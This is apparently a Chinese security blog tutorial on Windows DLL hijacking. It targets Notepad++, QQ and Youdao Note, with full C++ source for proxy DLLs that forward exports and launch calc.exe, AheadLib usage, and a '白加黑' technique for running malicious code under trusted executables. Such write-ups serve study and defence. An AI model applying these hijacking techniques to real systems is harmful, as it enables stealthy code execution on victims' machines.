基础知识

DLL(Dynamic Link Library)文件为动态链接库文件，又称“应用程序拓展”，是软件文件类型。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件。

在windows平台下，很多应用程序的很多功能是相似的，抛去ui等等来说，大致的功能都差不多，比如都得调用窗口，都得调用内存管理的模块来分配内存，都得调用io模块去进行文件操作，读写文件等等，这些模块的具体表现就是DLL文件。

Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径，之后，应用程序就将DLL载入了自己的内存空间，执行相应的函数功能。

DLL路径搜索目录顺序

1.程序所在目录

2.程序加载目录（SetCurrentDirectory）

5.Windows目录

6.PATH环境变量中列出的目录

Know DLLs注册表项

Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中，多个进程公用这些模块，必须具有非常高的权限才能修改。

Know DLLs注册表项的路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

手动劫持

劫持应用中没有的dll

这里dll劫持的选用的是notepad++，注意版本问题，我第一次进行dll劫持的时候使用的是最新版本，导致我鼓捣半天都没能正确执行，搞得我一脸懵逼，百度之后才发现notepad后面的版本修复了漏洞，所以这里选的是6.6.6的版本

使用到Procmon.exe程序

这里打开过后设置几个过滤条件，分别是进程名、路径以及结果

然后这里找一个需要用到loadlibrary这个api的dll，这里找有这个api的原因是因为如果该dll的调用栈中存在有 LoadLibrary(Ex)，说明这个DLL是被进程所动态加载的。在这种利用场景下，伪造的DLL文件不需要存在任何导出函数即可被成功加载，即使加载后进程内部出错，也是在DLL被成功加载之后的事情。

LoadLibrary和LoadLibraryEx一个是本地加载，一个是远程加载，如果DLL不在调用的同一目录下，就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL，就需要使用LoadLibraryEx进行远程加载，语法如下

LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH即可让系统dll搜索顺序从我们设置的目录开始

这里使用vs2019编译一个dll

这里使用到<stdlib.h>库调用system()生成弹出一个计算器即可

编译并复制到Notepad++的根目录下

运行即可弹出计算器

劫持应用中存在的dll

这里改个条件，改为SUCCESS

双击SciLexer.dll 然后看下stack，可以发现同样存在loadlibrary。那就说明这个dll是动态加载的，并且不需要什么导出函数就可以成功被加载。并且是在程序在运行过程中完成的

这时候我们就需要找这个dll的导出函数，导出函数是可以被外部访问的。导出表包含 DLL 导出到其他可执行文件的每个函数的名称，这些函数是 DLL 中的入口点；只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。

在动态调用的时候，一般代码通过loadlibrary去加载dll 并作为参数传到到导出函数，这里看一下导入表，发现他这里有一个导出函数

编写dll时，有个重要的问题需要解决，那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编，这在链接的时候会出现一个严重的问题，假如dll是C++写的，可执行文件是C写的。在构建dll的时候，编译器会对函数名进行改编，但是在构建可执行文件的时候，编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候，会发现可执行文件引用了一个不存在的符号并报错，这里我就直接定义extern "C"来告诉编译器不对变量名和函数名进行改编即可

代码如下，我们的目的就是让程序本身去LoadLibrary去加载dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
   DWORD  ul_reason_for_call,
   LPVOID lpReserved
 )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
system("calc.exe");
}

生成dll并改名为SciLexer.dll，把原来的dll先放到桌面保存

然后运行一下发现报错了

这里也没有弹出计算器，这里就卡了很久，然后发现这里还可以用一种dll转发的方式

dll转发顾名思义，就是要保留原来的dll，再生成一个恶意的dll执行代码，代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
if (hDll)
{
//typedef 是定义了一个新的类型
//DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
//定义了类型EXPFUNC，并且返回类型是DWORD的函数的指针
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}
}
return;
}

然后把原dll改名为``SciLexer_re.dll，并将生成的恶意dll改名为SciLexer.dll`

运行notepad++即可

转发对主程序的依赖非常的高，报错是CreateWindowsEx()返回值为空报错，当使用转发，让程序先走恶意的dll（SciLexer.dll），再走正常的dll的时候（SciLexer_re.dll），我们不清楚主程序的需求是什么可能是一个返回值，也可能参数不正确，这个时候都会导致主程序运行出错。

使用工具劫持

直接转发

这里还是使用导入表进行劫持，首先用cff(下载地址:https://ntcore.com/files/CFF_Explorer.zip)
打开QQ.exe的导入表，找一个不在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径里面的dll进行劫持，因为在这个路径里面的dll是优先加载的，加载之后已经进入内核空间，想要劫持难度很大。这里我选择的是libuv.dll进行劫持

找到路径下的libuv.dll

然后使用到aheadlib这个工具，输入dll就填QQ.exe路径下的libuv.dll，输出CPP会自动生成，原始DLL的名称要记住，等下会替换

点击生成就会在目录下生成一个.cpp文件

打开看一下有一个入口函数

新建一个vs dll项目，然后将.cpp的代码复制进去，并加上<windows.h>和<stdlib.h>头文件

然后在入口函数的地方填上一个弹出计算器的语句

将原dll文件改名为之前在软件里面复制的名字libuvOrg.dll，并把我们生成的dll文件复制进去

点击QQ.exe即可弹出calc.exe

这里分析一下导出函数的代码，随便选一行

当程序想要调用程序中的uv_udp_open函数的时候，需要先LoadLibrary，即通过libuvOrg.uv_udp_open,@195去加载原始dll，那么libuvOrg.dll其实已经被转发

#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")

即时调用

还是劫持之前的dll：libuv.dll，这里还是先输入DLL，然后转发的地方改为即时调用

生成一个vs dll项目，把生成的libuv.cpp代码copy到项目里面，然后加上#include "pch.h"和#include <stdlib.h>

在入口函数的地方添加上我们的恶意代码

然后把原dll改名为libuvOrg.dll，再把我们编译生成的dll粘贴进去

点击QQ.exe即可完成劫持

这里继续看看代码，调用导出函数之前先执行入口函数，函数执行完成过后return到Load函数，这里跟过去看看

Load函数首先把libuvOrg.dll即原来的dll文件写入缓冲区，使用LoadLibrary展开后通过wsprintf与原dll进行判断，如果LoadLibrary成功则继续调用InitializeAddresses()函数，继续跟过去看看

这里可以发现InitializeAddresses这个函数的作用都是调用GetAddress去Load函数的地址

再看看导出函数

程序要调用uv_async_init这个函数，就可以直接获取原始dll中uv_async_init函数的地址

#pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")

直接用__asm jmp到原始dll的导出函数地址去完成功能即可

对比之前用直接转发出来的cpp，对比之前用直接转发出来的cpp，直接转发对主程序来说，其实就是调用了原来dll的某个函数。

但是即时调用实际上是调用了劫持dll的某个函数，只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同，但是实现的原理不同。

白加黑

白加黑，就是一个白exe，加上一个黑代码，这里的黑可以是shellcode，也可以是dll。这里主要是尝试一下之前判断的工具的流程，使用导出函数

这里找一个不在Know DLLs里面的dll，而且这个dll必须要用LoadLibrary进行加载，这里我找的是CrashRpt.dll，可以看到有4个导出函数

那么这里用vs新建一个dll，把这4个导出函数由我们自己来写，这里尝试不转发即时调用，如果不成功在尝试转发

完整代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <stdlib.h>
extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();
void RptCleanup()
{
system("calc");
}
void RptSetAdditionalInfo()
{
}
void RptNcThreadListAddCurrent()
{
}
void RptInitializeWithDefaultSettingsWithVersion()
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
   DWORD  ul_reason_for_call,
   LPVOID lpReserved
 )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

然后生成dll把原来的CrashRpt替换掉

启动有道云即可成功弹出计算器

ordar

初探dll劫持